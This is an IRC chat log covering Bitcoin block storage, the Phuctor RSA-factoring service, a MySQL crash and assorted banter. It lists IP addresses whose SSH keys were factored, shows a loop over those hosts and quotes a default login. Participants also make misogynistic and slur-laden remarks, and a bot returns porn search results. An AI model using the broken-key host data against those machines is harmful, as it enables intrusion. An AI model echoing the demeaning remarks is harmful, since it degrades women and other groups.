Hide Idle (>14 d.) Chans
← 2017-04-05 | 2017-04-07 → ↓
shinohai: trb blocks, now individually wrapped for your convenience.
asciilifeform: that's 11 double-sided dvd.
asciilifeform: not so hefty.
mircea_popescu: let's argue about it!
asciilifeform: about 1 $ worth of pressed disk, is the point.
shinohai: or 8200 5.25 floppies
shinohai: *3.5
asciilifeform: 59710578 .
asciilifeform: you misplaced some zeroes somewhere, shinohai .
asciilifeform: or nm, 58311.
asciilifeform: at any rate, it'd cost same to press these as to press typical bloatmonster game
asciilifeform: or winblowz 'msdn' collection.
mircea_popescu: i've not yet had an 11 dvd game.
asciilifeform: mircea_popescu: one of the flying sims i leeched on warez , for winblows box, was 40G or so
mircea_popescu: prolly lotta maps.
asciilifeform: so the day of 11 disk game, has probably come some time ago
asciilifeform: maps, textures, aha
asciilifeform: also betcha that when compressed ~properly~ (i.e. as asciilifeform described 2wks ago) it'll be not even 40G.
asciilifeform: (replace sha256 hashes with indices on disk, for instance; record 'sequence number' in tx only if differs from default; ditto locktime)
asciilifeform: possibly will fit on 1 dvd, then.
asciilifeform: while remaining properly unzippable to classical form.
asciilifeform: (i.e. it is legitimately isomorphic to the traditional form, there is nothing 'lossy' about this 'compressor')
asciilifeform: gzip gives us ~20% shrink btw.
asciilifeform: and that is ~per block~, rather than collectively
a111: Logged on 2017-04-06 00:23 asciilifeform: admin / admin
Framedragger: that didn't work till i read that the password is now phuctor. omg lmao
Framedragger: > Today 14.6 kWh Past Week 63.0 kWh
Framedragger: very energy
Framedragger just took part in a ridoinculous interview for 'IT person'. interviewee was a nice but 100% stressed gurl who is due to graduate with an MEng next year, and was barely able to tell the difference between static and dynamic typing. somethingsomething java. morning almost spoilt. "MEng"
Framedragger: (in compsci no less)
Framedragger: sent query to n-gate (in the sense of reducing meaning to a tweet and pretending that's communication)
Framedragger: !!up DaSancho
deedbot: DaSancho voiced for 30 minutes.
Framedragger: DaSancho: what brings ye here?
Framedragger: http://btcbase.org/log/2017-03-29#1634033 << that's all i have: http://imgur.com/a/SPFBI (stuff that was stickied on the parcel). i had unfortunately thrown out the 'postcard' from royal mail, but it was a single slip which literally only said "we can't post you this because this got held up. go online and put in a reference number". the latter opened a "PAY NOW" form, and that's it.
a111: Logged on 2017-03-29 16:25 mircea_popescu: if you find it within yoruself to post forms you were issued that'd be grand.
Framedragger: (again, i may have gotten more info by physically presenting myself at a particular delivery office, showing ID and so on, but i wasn't up for that.)
Framedragger: (i do believe this is a simple instance of VAT being charged for overseas 'valuable imports', but then this never happened before when shipping via legal retailers etc.)
deedbot: http://phuctor.nosuchlabs.com/gpgkey/1B1B58577EC085775FD320B460F7C3DC6B08E6FFB2EBE04B7A162C5F609F0E9D << Recent Phuctorings. - Phuctored: 1107...9569 divides RSA Moduli belonging to '177.234.1.3 (ssh-rsa key from 177.234.1.3 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) <ssh...lt>; ' (Unknown MX CHH)
deedbot: http://phuctor.nosuchlabs.com/gpgkey/D33126663C8161A8EF4DCCEAA5321D0CBF95441A3D35C0BAC2BAF6D2F4397C40 << Recent Phuctorings. - Phuctored: 1107...9569 divides RSA Moduli belonging to '177.234.11.75 (ssh-rsa key from 177.234.11.75 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) <ssh...lt>; ' (Unknown MX CHH)
deedbot: http://phuctor.nosuchlabs.com/gpgkey/71AF9594F2393F6AB85B14C1C615C449E8833966B1FA30A198C98FC36750B4C5 << Recent Phuctorings. - Phuctored: 1107...9569 divides RSA Moduli belonging to '177.234.1.161 (ssh-rsa key from 177.234.1.161 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) <ssh...lt>; ' (Unknown MX CHH)
deedbot: http://phuctor.nosuchlabs.com/gpgkey/1B1B58577EC085775FD320B460F7C3DC6B08E6FFB2EBE04B7A162C5F609F0E9D << Recent Phuctorings. - Phuctored: 1120...4129 divides RSA Moduli belonging to '177.234.1.3 (ssh-rsa key from 177.234.1.3 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) <ssh...lt>; ' (Unknown MX CHH)
mircea_popescu: dat day when ben_vulpes 's pastatron allocates you UriNe as an identifier...
mircea_popescu: holy shit they got some kefir in this country that'll melt your heart.
a111: Logged on 2017-04-06 10:05 Framedragger just took part in a ridoinculous interview for 'IT person'. interviewee was a nice but 100% stressed gurl who is due to graduate with an MEng next year, and was barely able to tell the difference between static and dynamic typing. somethingsomething java. morning almost spoilt. "MEng"
mircea_popescu: now tell me she wouldn't be happier as a declared slave for a republican lord ; rather than a doublespoken slave for nobody-in-particular in the stupid empire.
mircea_popescu: i teach some basic mechanical engineering to ~all~ my girls. just because i can.
Framedragger: she had a particular unpleasant unhappy look so yeah i think i agree lol
Framedragger: "this is not my kind of place" "what am i doing with my life" "also i can't answer these questions"
mircea_popescu: whoa, so they want VAT, AND a "royal mail intl handling fee" that's 10 bux.
mircea_popescu: incredible. this is even legal ?
Framedragger: admin fee for collecting the customs fee and mediating between customer and her majesty's revenue and customs. very legit
mircea_popescu: "queries should be sent to the address above, where you will helpfully be informed they can not say anything else besides reading this notice to you."
Framedragger: i dunno. re. VAT from overseas, yeah it's 'teh law', but yknow.
Framedragger: that is exactly what it means mircea_popescu lol
mircea_popescu: a sad little country.
mircea_popescu: does that stamp say "redeliver on MUM" ?
Framedragger: at least the currency will inflate now so that they can export ugly girls cheaper
mircea_popescu: i don't think i ever saw anyone pay for a brit.
mircea_popescu: even at a time people couldn't be arsed to ~physically inspect~ russkis anymore, just paid for the cargo whole.
Framedragger: mircea_popescu: ahahahaha it does say "MUM" (should be "Mon" of course)
mircea_popescu: Framedragger maybe they're serious, and intend to redeliver on your mum!!11
mircea_popescu: aaaanyway
mircea_popescu: http://btcbase.org/log/2017-04-06#1638766 <<< i expect the legal retailers have the common decency to ship from jurisdictions where there's some kind of vat countermeasure in place.
a111: Logged on 2017-04-06 11:28 Framedragger: (i do believe this is a simple instance of VAT being charged for overseas 'valuable imports', but then this never happened before when shipping via legal retailers etc.)
mircea_popescu: let's drive alfie up the wall a little
Framedragger: heh. well http://nosuchlabs.com/robots.txt does have "Disallow: /gpgkey/" but phuctor.nosuchlabs.com itself should still be indexed i think?
mircea_popescu: except google can't index it because the /stats/ dies on it i guess.
Framedragger: ah, hrm.
mircea_popescu: and the root is not NOVEL.
mircea_popescu: it's indexed alright but not in the past month
mircea_popescu: now if someone were to make static multipage stats...
Framedragger: hrm. :) what's the cheapest way to do it.. automate a long-timeout-and-also-retry downloader for /stats and then just re-host the cached downloaded copy? any use in that?
mircea_popescu: lel. the cheapest is for the site to support it natively!
Framedragger: notes! support!
mircea_popescu: just got a 504 timeout on long term browser lel
mircea_popescu: thing is, it doesnt' crash, it always comes up but you gotta know to retry.
a111: Logged on 2017-04-06 12:29 mircea_popescu: asciilifeform https://www.google.com/search?q=phuctor&channel=fs&tbas=0&tbs=qdr:m&* << notice anything missing ?
asciilifeform: http://btcbase.org/log/2017-04-06#1638799 << i put this in ~year ago, noticed that ~nobody respects 'robots.txt', and promptly forgot about it...
a111: Logged on 2017-04-06 12:32 Framedragger: heh. well http://nosuchlabs.com/robots.txt does have "Disallow: /gpgkey/" but phuctor.nosuchlabs.com itself should still be indexed i think?
a111: Logged on 2017-04-06 12:33 mircea_popescu: except google can't index it because the /stats/ dies on it i guess.
mircea_popescu: prolly should take it out.
asciilifeform: http://btcbase.org/log/2017-04-06#1638806 << whole thing needs rewrite; we had the thread.
a111: Logged on 2017-04-06 12:43 mircea_popescu: lel. the cheapest is for the site to support it natively!
asciilifeform: ( it is not, however, obvious to asciilifeform ~how~ . so not yet rewrote. )
mircea_popescu: ima publish a snapshot on trilema, for nao.
mircea_popescu: ease some of teh pressure i'm guessing ?
asciilifeform: sure why not
asciilifeform: there's one on my www also
asciilifeform: (from a few mo ago)
asciilifeform: http://btcbase.org/log/2017-04-06#1638757 << why does mechanical engineer get fed java ?
a111: Logged on 2017-04-06 10:05 Framedragger just took part in a ridoinculous interview for 'IT person'. interviewee was a nice but 100% stressed gurl who is due to graduate with an MEng next year, and was barely able to tell the difference between static and dynamic typing. somethingsomething java. morning almost spoilt. "MEng"
mircea_popescu: anyone got an idea as to how i turn
mircea_popescu: <tr><td>60.213.15.140 (ssh-rsa key from 60.213.15.140 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) &lt;sshscan-queries+60.213.15.140@mkj.lt&gt;; </td></tr>
Framedragger: 'MEng' is just diploma title, you get master of engineering for software engineering, too (because reasons)
mircea_popescu: into a more reasonable (ssh-rsa key from 60.213.15.140 13-14 June 2016 extraction) ?
asciilifeform: mircea_popescu: yes, 1s
mircea_popescu: shave like a megabyte off this turd
Framedragger: yes in retrospect i did not expect for there to be so many pops lol.
Framedragger: result is large turd
Framedragger: asciilifeform: MEng here means 'master of engineering' (which can include software engineering, yesyes), not mech
a111: Logged on 2016-12-08 15:43 asciilifeform: e.g., for ip in `curl -s http://phuctor.nosuchlabs.com/phuctored | grep "ssh-rsa key from" | cut -d' ' -f23 | sort | uniq`; do ...something with $ip..... done
mircea_popescu: asciilifeform i want the whole tabke is the issue.
asciilifeform: what means 'whole table'
asciilifeform: modulus ?
mircea_popescu: i am taking the entire table as found on stats page and putting it on trilema.
mircea_popescu: whole table. html tags and all.
mircea_popescu: i just made the urls absolute
asciilifeform: why not just include the html you get from the above curl ?
mircea_popescu: because it'd exclude non ssh keys for instance.
mircea_popescu: whole table. see ?
asciilifeform: want a csv ?
mircea_popescu: nope. ideally i just want to... copy... teh table :D
mircea_popescu: now, how do i tell awk to turn the blather quoted above into the intended result ? hm ? HM ?
Framedragger: btw asciilifeform mircea_popescu i'm rehosting the main '/stats' page here, autoredownload every 5min (handles http timeout cases): http://siphnos.mkj.lt/phuctor-stats/
asciilifeform: neato Framedragger
asciilifeform: does it mirror the sub-pages also ?
Framedragger: i sed'ed the relative urls, as in "<a href="/">Submit GPG Key</a>", to point them to phuctor, etc
Framedragger: not yet!
mircea_popescu: /phuctored would be good.
asciilifeform: aseriousgogetta (~Kimberley@ip-64-134-144-245.public.wayport.net) has joined #trilema << hey mircea_popescu , can haz hammer ? every time that monkey's connection cycles, i feel like a chimp is throwing shit in my face
Framedragger: mircea_popescu: if you're planning to rehost, maybe useful (very simplistic, i've just put this into cron for now): http://siphnos.mkj.lt/phuctor-stats/download-stats.sh
asciilifeform: Framedragger: i think he wants ~only~ the ssh keys
Framedragger: ah right right, ok
mircea_popescu: no i don't. i want... omfg 4th time.. THE WHOLE TABLE
asciilifeform: ah so just lift the html you get from /phuctored . problem solved ?
asciilifeform: what's missing ?
mircea_popescu: consider the string : "hurr\n1-1-1-1\ndurr\n2-2-2-2\nfoo54-54-54-54". the job is to turn it into "hurr\n1\ndurr\n2\nfoo\n54"
mircea_popescu: now then.
mircea_popescu: asciilifeform it's not missing, it has an extra 1 megabyte of Framedragger 's hello world
asciilifeform: aaaaaah
mircea_popescu: (which is very good and useful as it is, not the problem there. but gotta fix it here)
asciilifeform: meanwhile, in monkeystan, https://archive.is/z8x2c >> 'You don't handle sarin-saturated bodies *without gloves* - unless you're a Syrian rebel trying to pull off yet another hoax.'
asciilifeform: all the while, mr.t read official speech 'i changed my mind...' etc, is poised to fight the clitler wars.
mircea_popescu: changed what mind ?
asciilifeform: 'These heinous actions by the Assad regime cannot be tolerated' etc.
mircea_popescu: well, old man lasted almost half a year.
asciilifeform: mircea_popescu finally cured of 'maga' ?
asciilifeform: well of 'apparatchiks won't pay their mortgages', 'berkeley starves', etc
mircea_popescu: that's not something i, or anyone else, can be "cured" of.
Framedragger: http://btcbase.org/log/2017-04-06#1638854 << k found time to improve this, /phuctored is now being hosted/cached as well (and link to /phuctored on the index stats page links to the cached version)
a111: Logged on 2017-04-06 13:28 Framedragger: btw asciilifeform mircea_popescu i'm rehosting the main '/stats' page here, autoredownload every 5min (handles http timeout cases): http://siphnos.mkj.lt/phuctor-stats/
Framedragger: will keep an eye on this in case the hasty cron job screws up at some point.
Framedragger: i guess it could host /sadmods and /dupes as well - attempt redownload every few hours? (it will only update the linked cached html in case new download is in fact successful)
Framedragger: !#s tmsr wiki
mircea_popescu: aaaand in other lulz...trilema can't actually hold a 3mb data dumb.
Framedragger: mircea_popescu: you're putting it in mysql aren't you, and making php generate a table or sth?
Framedragger: maybe just some shitty limit in webserver/php/wherever, modifiable
shinohai: Heh, shocking move: http://archive.is/ZMfJe
shinohai: I too can pun arstechnica
Framedragger: so on account of that n-gate guy being reachable via twitter only, and me not wanting to miss any replies, i've actually had to visit twitter lately. my homepage now is http://imgur.com/a/aTcpY and fuck this shit
phf: "i'm what's known as `twitter funny`. -- what does that mean? -- not funny"
mircea_popescu: Framedragger mught as well tell him where to show up an' thassat.
Framedragger: i did! i managed to compliment him, direct him to #trilema, and (hopefully) not appear as an idiot in one tweet
mircea_popescu is undeterred, created sql file, is importing it, which apparently takes A WHILE
mircea_popescu is steeling self for discovering mysql dosn't allow over x bytes in any one column or such closely managed nonsense
Framedragger: what's the column data type mircea_popescu
mircea_popescu: lel apparently i crashed the db.
Framedragger: apparently mysql recommends storing large data/text blobs in separate table
trinque: ahaha
trinque: and good morning!
Framedragger: another pleasant morning of kicking DBs
mircea_popescu: # service mysql status
mircea_popescu: SUCCESS! MySQL running (2421)
mircea_popescu: o check it out, amanged to trash the articvles table!
shinohai: This is why shinohai decided that if were to update wp-mo, it would use plain txt files and completely burn mysql to the ground.
shinohai: *wp-mp
mircea_popescu: well apparently trilema's going to be offline for a while for reasons of unexpected explosion.
shinohai: Thanks Obama
mircea_popescu: in other lulz : mysql use db; results in... the process simply hanging. > 1 minue by now.
mircea_popescu: because why ? because OH MY FUCKING GOD SOMEONE RAN A 2MB SQL an hour ago!!1
Framedragger: hmh it should at least fail, or sth. is it still running mircea_popescu? can you do `show processlist` with separate mysql client session? (NB, am not a mysql guy)
mircea_popescu: it is still running.
Framedragger: there's a KILL QUERY
Framedragger: but mebbe you want to keep it running
mircea_popescu: there's a "repair by sorting" going and five billion agents waiting for metadata lock
mircea_popescu: which holy shit.
Framedragger: i wonder if it's due to data type misuse, or just mysqlol
mircea_popescu: why is there a metadata lock and how do i turn it off
Framedragger: oh god
trinque: mysql's kinda notorious for this shit
mircea_popescu: ERROR 1040 (HY000): Too many connections
mircea_popescu: apparently mysql will refuse CONNECTIONS FROM ROOT
mircea_popescu: on the basis of too many dorks hammering it on the www!
asciilifeform: welcome to sql hell mircea_popescu
asciilifeform has lived there for a while, knows where the good beaches and restaurants are.
mircea_popescu: o yeah ? how do you turn "metadatalock" off lelz.
trinque: the meat's all dancing cat
mircea_popescu: turns out this whole "read while dirty" thing is "implemented" except notrly.
a111: Logged on 2016-12-30 17:16 mircea_popescu: it really should be up to operator wtf, if i want to read dirty let me read dirty what sort of decision is this for designer to make.
mircea_popescu: ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/lib/mysql/mysql.sock' (2)
mircea_popescu: # service mysql status
mircea_popescu: ERROR! MySQL is not running, but lock file (/var/lock/subsys/mysql) exists
asciilifeform: i suffered with this on postgres, and continue to.
mircea_popescu: so i take it it croaked.
asciilifeform: and looks like you gotta rm the lock file.
Framedragger: do you still have a running mysql cli session mircea_popescu?
Framedragger: i guess it's dead-dead, tho
mircea_popescu: no it's fine, trying to figure out how to rescue the table.
Framedragger: there are ways to list/remove locks but i reeeeally dunno if it's a good idea
Framedragger: ftr, useful SO answer (yes, SO): http://stackoverflow.com/a/13155778
mircea_popescu: table isn't innodb.
Framedragger: just curious, what is it then, myisam?
mircea_popescu: insanely, i am still getting a lot of www requests, so i guess i incidentally found some other issue here as well.
asciilifeform: lol, hey, nobody told the crawlers that the box is down
mircea_popescu: but the box doesn't deliver, theoretically, anything but a text line now
Framedragger: mircea_popescu: well you can still kill the particular mysql process which is handling the query, `show processlist` (may show "Waiting for table metadata lock" under "State" column; "Info" column should display the query in question), then `Kill IDGOESHERE`
mircea_popescu: why'd i want to kill 150 processes by hand. let them timeout.
Framedragger: (then `FLUSH TABLES` should remove any outstanding locks if still any; but don't take my word for it)
mircea_popescu: so far the table is crashed, and the repair thing seems to take forever.
Framedragger: 150? no just the one which is still trying to import large blob (if still running)
Framedragger: ok ugh.
mircea_popescu: Framedragger you trying to tell me that process'd have somehow survived a mysql restart ?
Framedragger: mircea_popescu: sorry i forgot or didn't know that you actually in fact restarted it.
mircea_popescu: but no, they';re all selects.
mircea_popescu: weirdly enough, also not timing out. how the fuck long can a thing waiot for a lock ?
Framedragger: (aok. oh well then, light cigar while making DB destruction plans)
mircea_popescu: i can't comprehend what'd possibly take this long to repair it.
lobbesbot: Logged on 2017-04-06 00:05:55: <mircea_popescu> until trinque's deedbot payment is on i dunno what lightweight to recommend you
lobbes: Odd it didn't quote earlier
lobbes: Mp must've been faster than it inserted into database
Framedragger: asciilifeform: phuctor.nosuchlabs.com timing out, do you think this could be related to the cron cacher? (GET /stats every 5min, GET /phuctored every 60min)
lobbes: mircea_popescu: Nah nothing really. I noticed you pasted that link earlier but bot didn't quote. I think you were just too fast for it
asciilifeform: Framedragger: it dun load no moar...
asciilifeform: and i have no means for discovering why
lobbes: Or rather, my process too slow heh
asciilifeform: Framedragger: i recommend to turn off the hammerer.
Framedragger: okay :D
a111: Logged on 2017-02-19 03:54 asciilifeform: (iirc we had a thread where i described how corporate ameritards, if given a problem like phuctor, would happily soak up a few $mil and megawatt of iron)
asciilifeform: thing runs on the very edge of the possible.
asciilifeform: the 'database' is an evil concept.
mircea_popescu: if only. 99% of db is crud and causing the problem.
mircea_popescu: entirely not fucking iron-bound problem in trilema case for instance. wtf can "repair table" need >1200 s !
asciilifeform: that's what 'db' is, a massive pile of shit that pretends to be 'one size fits all' data structure
Framedragger: anyway http://siphnos.mkj.lt/phuctor-stats/ will continue to rehost phuctor stats (including http://siphnos.mkj.lt/phuctor-stats/phuctored.html), and will see about more lenient update times (5min is excessive anyway)
mircea_popescu: and i am STILL, somehow, getting fucking agent loads.
mircea_popescu: "every thing you do will resolve 99% of the problem at the most". always a little bit left. gah.
Framedragger: maybe it's going thru full mysql tx log if you have one
mircea_popescu: eh what tx. this is mysql.
Framedragger: in mysql it's called 'binary log'. dunno if on by default tho
mircea_popescu: load average: 0.01, 0.05, 0.21 <<< meanwhile i am... waiting... for it to... repair.
mircea_popescu: how. the fuck. is this supposed to be sane
mircea_popescu: 0 indication of what this is. will it take another 6 weeks ? "maybe". how do i tell ? what do i do ?
mircea_popescu: fucking bs.
Framedragger: i'm waiting for the day that freenode goes down while datacenters with logotrons are experiencing issues. everyone's gonna freak out, there will be a new more urgent push for gossipd, it's gonna be great!
asciilifeform: Framedragger: for some reason i am reminded of a cartoon i saw when i was very small, incidentally iirc it was made in some baltic country, where an eagle decides that frog is his son and threatens constantly to 'teach him to fly' by throwing from a cliff
Framedragger: heh :) pretty soviet
phf: it's pretty tmsr too. "if it can't fly, it doesn't deserve to live anyway"
mircea_popescu: meh. in which we find trilema's posts data is 40g somehow.
mircea_popescu: how the fuck ?!
asciilifeform: mircea_popescu: i seem to recall ~200MB last time you tallied it and posted here (6 mo ago ?)
mircea_popescu: just about.
mircea_popescu: 40439263232 Apr 6 11:12 tril_posts.MYD
asciilifeform: that's several lifetimes worth of text, even if it consists of 1MB pastes...
asciilifeform: something is off
mircea_popescu: i have nfi.
mircea_popescu: but mah disk is also full nao.
mircea_popescu: last i saw MySQL Disk Space 596.29 MB, so evidently mysql "repair table" corrupted the table to shit.
mircea_popescu: 39491524 /var/lib/mysql/trilema_blog/tril_posts.MYD << reported by du | 40439263232 Apr 6 11:12 tril_posts.MYD << reported by ls -l
mircea_popescu: im guessing this disk is fucked ?
asciilifeform: 39491524*512 == 20219660288 however
asciilifeform: what's your sector size, mircea_popescu ?
asciilifeform: looks like 1024 :
asciilifeform: 39491524*1024 == 40439320576
asciilifeform: still not == 40439263232 tho, lol
asciilifeform: (that du does not default to -h is one of the titanic retardations of the standard userland)
mircea_popescu: well, ima reboot the machine.
asciilifeform: (who the FUCK cares how many sectors!! something uses)
phf: i usually pipe du through sort or awk >n. i kind of wish there was an "h" command instead that would take a column number an humanize that column
asciilifeform: phf: ANYTHING defaulting to martian rather than human units, is unspeakable braindamage
asciilifeform: just ditch the martian units.
asciilifeform: if i want them, i can... divide the byte counts.
hanbot: !~ticker
jhvh1: hanbot: Bitfinex BTCUSD ticker | Best bid: 1174.7, Best ask: 1174.8, Bid-ask spread: 0.10000, Last trade: 1174.7, 24 hour volume: 29477.80773128, 24 hour low: 1120.3, 24 hour high: 1179.3, 24 hour vwap: None
BingoBoingo: <mircea_popescu> incredible. this is even legal ? << O hai I R the packet interceptor. Pls to pay again for delivery.
mircea_popescu: sooo... i have 1.6 tb available du shows 38g.
mircea_popescu: this is like the day of lulz.
asciilifeform: what's the disjunction here ?
asciilifeform: du shows occupied space, not free
Framedragger: (mk /stats now updated every 30min, will see how that one goes. http://siphnos.mkj.lt/ updated to include link to the cached copy. will see if this gets indexed by google (main index page already is)) :)
asciilifeform: in other lulz from upstack : Enphase Energy, Inc. (NASDAQ:ENPH) .
asciilifeform: didjaknow.
mircea_popescu: anyway, turns out the myslq files are stored on a tiny partition for some incomprehensible reason. fancy that wonder.
asciilifeform: ( aug. 3, 2016 : 'Enphase entered into a $25 million loan agreement with a lender specializing in "rescue financing" that furnishes capital "to avoid a restructuring or insolvency.'"' )
asciilifeform: ( their spamola : https://archive.is/UjMhq << for expert entomologists only )
shinohai: "Enphase's storage technology is optimal for the masses." <<< Indeed!
Framedragger: mebbe you had a separate /var partition from linux install long ago, mircea_popescu.. this can bite
mircea_popescu: Framedragger for some reason root gets 50G and mysql for everything is stored in there.
mircea_popescu: i still have nfi elephantiazis hit that poor file that it ended up 40g, but anyway, im moving the whole shebang on a tb partition and will see wtf myisamchk does.
mircea_popescu: a superficial cat | strings | grep yielded a bunch of old stuff so it doesn't appear dataloss is guaranteed.
Framedragger: well the default for DBs is to store things under /var. /var is under root unless specifically separate partition; or you tell db to store under /home/mircea/dbdata or sth.
mircea_popescu: yes, i'm aware. now.
Framedragger: not a boring day!
mircea_popescu: my first time using any of these shits. prior to this morning i had nfi what /var/lib/mysql/ is or how you repair crashed mysql db or anything of the sort.
mircea_popescu: this is also the first time a mysql db crashed in my personal experience.
asciilifeform: i recall, we had a thread where mircea_popescu: 'it never once crashed'
mircea_popescu: well now ++
scriba: Restarting for new command
mircea_popescu: in fairness it's entirely my fault, i got bored with sql import and interrupted it. didn't work so well seeing how it was a write op.
asciilifeform: fwiw since phuctor went form sqlite to postgres, i have not yet managed to crash the latter
Framedragger: !$ phuctor
asciilifeform: (though to grind it to an ~unusable halt, for a long time -- is quite easy)
Framedragger: ^ new (trivial) command. a bunch of URLs so may be useful
asciilifeform: neato Framedragger
Framedragger: pete_dushenski: plox to update bot commands at some point, ty! :)
asciilifeform: *went from
Framedragger: asciilifeform: i also wonder if phuctor site my come under additional stress now that you removed those 'Disallow' entries from robots.txt :/
mircea_popescu: guaranteed.
asciilifeform: Framedragger: theoretically
mircea_popescu: google will definitely slurp 5mn pages in the next week-ish
asciilifeform: mircea_popescu: the odd thing is, it did anyway -- until somewhat recently
mircea_popescu: you (all of you, really) are very well linked since all the trilema mentions and etc. we've built like a coven
Framedragger: in which case, may not want to do that till caching is in place, or sth. main thing is to have stats be accessible which is now cached anyway
mircea_popescu: asciilifeform possibly those were just fake user agents ?
asciilifeform: mircea_popescu: and they also stole the ip range of google corp ?
mircea_popescu: a that no
mircea_popescu: but i get tons of idiots trying to you know, spam trilema claiming to be googlebot.
asciilifeform: these don't spam, no. they just crawl.
asciilifeform: the folx throwing random rubbish into the submit box, are actually quite uncommon.
asciilifeform: i suppose they can tell that there isn't actually a wordpress installed.
asciilifeform: ( once in a while some exceptionally poorly written spamatron shows up, which ~can't~ tell, on first try)
mircea_popescu: aaanyway, seems it's cooking with gas now. we'll see.
scriba: Restarting for URL fix
jhvh1: I, jhvh1, am a wrathful bot
trinque: aw fuck that's what I get for typing a privmsg by hand
asciilifeform: 'February 16, 2017 ... Enphase Energy, Inc. (ENPH), a global energy technology company, today announced that it has refinanced and extended its term loan facility with certain funds managed by Tennenbaum Capital Partners ("TCP") from $25 million to $50 million.'
asciilifeform: the miracle of printolade.
asciilifeform: hey shinohai et al : they have a twatter! https://twitter.com/enphase
shinohai will tweet them the trilema article along with tranny porn when trilema is back online ....
BingoBoingo: shinohai: Be classy, amputee midgets
shinohai: !~google amputee midgets
jhvh1: shinohai: ' amputee midgets ' Search - XVIDEOS.COM: <http://www.xvideos.com/%3Fk%3Damputee%2Bmidgets>; midget amputee super hot - YouTube: <https://www.youtube.com/watch%3Fv%3DhOfG1qUYadU>; Urban Dictionary: interracial midget amputee necro-bestiality: <http://www.urbandictionary.com/define.php%3Fterm%3Dinterracial%2520midget%2520amputee%2520necro-bestiality>
asciilifeform: https://archive.is/k58t9 >> gourmet liquishit, e.g., 'The energy tech company with 350 employees has reported annual losses every year since it went public in 2012, including nearly $67.5 million worth of red ink last year. Since September, it has gone through two rounds of layoffs and raised about $26 million by issuing new stock and bringing in two major investors. Enphase officials say with confidence that a turnaround is underway
asciilifeform: and the company is on track to make a profit in the second half of 2017. Its employees have worked to significantly cut the cost of producing its signature devices, microinverters that take DC, or direct current, power from solar panels and transform it into AC, or alternating current, power for homes.'
shinohai: Damn, first results XVIDEOS
asciilifeform: the way i currently understand the 'microinverter' nonsense, is that enphase found a further chineseification of the solar scamatron, by replacing the traditional massive dc-ac inverter with a multitude of small chinese turds, made for use in autos
asciilifeform: idea is that schmuck won't notice when they fail
mircea_popescu: asciilifeform obamafinance.
mircea_popescu: but yes, that's pretty much exactly it.
asciilifeform: pretty lulzy inversion of the usual corporate dynamic, where there are shareholders and they want growing profits; instead there is a printolade supplier, who wants manageable (or -- optimistically -- slowing!) bleed
asciilifeform: at no point, interestingly, is there much of any kind of pressure to make a widget that ~actually works~
asciilifeform: !!up gabriel_laddel_p
deedbot: gabriel_laddel_p voiced for 30 minutes.
gabriel_laddel_p: mircea_popescu: no wrap(80) for the archiver.
gabriel_laddel_p: if someone has a problem with it, speak now
gabriel_laddel_p: personally, I prefer the wrapping, but w/e
asciilifeform: whatever it is, why does it HAVE to live on liquishithost
asciilifeform: can haz human host ?
gabriel_laddel_p: asciilifeform: nope.
gabriel_laddel_p: because I go broke ~every week at least?
asciilifeform: didn't somebody finally buy the gabriel_laddel_p box ..?
gabriel_laddel_p: asciilifeform: people have offered, but unless I physically own the boxes, I'm not interested
trinque: because you own your google cloud whatevers
Framedragger: or kiwiirc.com
CompanionCube has always preferred postgres to mysql
gabriel_laddel_p: Framedragger: trinque: I'm interested in ditching the web & eventually x86 as a whole, not somuch in sanitizing my crappy setup.
trinque: looks someday I'll take the longest bath anyone ever took.
gabriel_laddel_p: Oh, and the archiver will save both the text version & the previously posted rich webpage version with js, images & whatnot.
mircea_popescu: ftr Framedragger : type was longtext
asciilifeform: gabriel_laddel_p: where do you host this ? also google ?
gabriel_laddel_p: asciilifeform: SF. I have a Masamune that will sit on here as a bot, archive all links that show up & git push them to github.
Framedragger: mircea_popescu: hm.. okay. wonder why it failed. (i guess in the future consider LONGBLOB for this (and encode/decode as needed), but it wasn't..that large, even.. huh.)
Framedragger: gabriel_laddel_p: ideally it would also save a full 'rich' version (whole DOM) but without JS, the way archive.is does
Framedragger: !#s dump dom
trinque: gabriel_laddel_p: why the FUCK would you spend any time whatsoever on doing it that way?
ben_vulpes: buenos diiiiaaaaas
trinque: in this thread we listen to how gabriel_laddel_p is very special, and you don't understand me mom
gabriel_laddel_p: ben_vulpes: hello!
shinohai: buenas tardes ben_vulpes, listo para cojer putas?
trinque: and portage is seriously one coke bump from being ported to lisp.
ben_vulpes: siempre, shinohai
gabriel_laddel_p: Framedragger: I saw the discussion, and will not be doing a DOM dump because I'm not going to spend any time in the browser internals.
gabriel_laddel_p: Framedragger: and for future reference, I read all the logs, everytime.
gabriel_laddel_p: trinque: by you?
gabriel_laddel_p: trinque: ported to lisp at what level? Could you please describe in more detail? Eg, is there a new ebuild format, do you interpret the old one, do you have lisp that translates shell scripts...
ben_vulpes: relevantly shinohai i was out at this performance of baroque french choral set, chamber music scale, and in between songs (which were very well done), there was much woke angsting about el pussy grabber in chief
trinque: fucks sake kid I'm mocking you
ben_vulpes could not refrain from grabbing the pussy with which he arrived
ben_vulpes: i think that i may have been one of like 3 straight doods in the room; high lez factor
asciilifeform: next day ben_vulpes went to a boar hunt, could not resist eating the bacon he brought in a bag himself...
trinque: whatever, gay guys will grab titties all the time
gabriel_laddel_p: trinque: oic. ftr I looked into doing this & decided against it.
ben_vulpes: asciilifeform: well hey the singer i went to see wasn't in stripper mode during the choral performance
shinohai: It's the sad part of enjoying any form of culture here too it seems, full of speshul snowflakes and sjw's
ben_vulpes: shinohai: ask them what they think about menstrual leave
ben_vulpes: feign total socialistoid embeddment
shinohai: I want time off for male menopause, like a sabbatical.
trinque: ben_vulpes: compulsory leave?
ben_vulpes: "so i'm all for maternity and paternity leave, i have kids, it's just fantastic. and i've been thinking about other things that people should get state-sponsored leave for, and like aren't some women struck by totally debilitating menses? they should totally have time off for that."
ben_vulpes: trinque: "TO THE BACK OF THE CARAVAN WITH YE"
trinque: weew
asciilifeform misread - 'male menses'
ben_vulpes: "but then from a justice perspective it's just inherently gender inequitable, so i don't know! i just don't know."
ben_vulpes: next to ubi menstrual leave is clear in the middle of the overton window.
mircea_popescu: !~ud ubi
